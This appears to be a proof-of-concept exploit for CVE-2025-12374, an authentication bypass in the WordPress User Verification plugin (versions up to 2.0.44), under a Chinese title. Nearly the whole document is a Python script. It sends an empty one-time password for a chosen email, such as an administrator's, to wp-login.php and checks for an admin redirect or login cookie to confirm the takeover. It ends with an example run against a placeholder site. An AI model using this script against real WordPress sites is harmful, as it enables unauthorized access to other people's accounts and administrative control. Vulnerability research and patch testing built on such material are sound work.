CVE-2025-12374 WordPress User Verification插件身份验证绕过漏洞

import requests import re # CVE-2025-12374 PoC - WordPress User Verification Plugin Authentication Bypass # Target: WordPress site with User Verification plugin <= 2.0.44 def exploit_auth_bypass(target_url, target_email): """ Exploit the authentication bypass vulnerability in User Verification plugin. The vulnerability allows attackers to bypass OTP verification by submitting an empty OTP value. Args: target_url: Base URL of the WordPress site target_email: Email address of a verified user (e.g., admin) Returns: Boolean indicating if exploitation was successful """ # Step 1: Identify the OTP login endpoint login_endpoint = f"{target_url.rstrip('/')}/wp-login.php" # Step 2: Prepare the malicious request with empty OTP # The vulnerability is in the OTP validation logic that doesn't check # if OTP was actually generated before comparing payload = { 'user_verification_otp_login': '1', 'user_email': target_email, 'user_otp': '', # Empty OTP bypasses authentication 'redirect_to': '/wp-admin/', } try: # Step 3: Send the authentication bypass request response = requests.post( login_endpoint, data=payload, allow_redirects=False, timeout=30 ) # Step 4: Check for successful authentication # Successful bypass typically results in redirect to admin area if response.status_code in [301, 302, 303] and 'wp-admin' in response.headers.get('Location', ''): print(f"[+] Authentication bypass successful!") print(f"[+] Logged in as: {target_email}") print(f"[+] Redirect location: {response.headers.get('Location')}") return True # Alternative check: Look for auth cookies or success indicators if 'wordpress_logged_in' in str(response.cookies): print(f"[+] Authentication bypass successful!") return True print(f"[-] Authentication bypass failed") print(f"[-] Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example usage if __name__ == "__main__": target = "http://target-wordpress-site.com" admin_email = "[email protected]" exploit_auth_bypass(target, admin_email)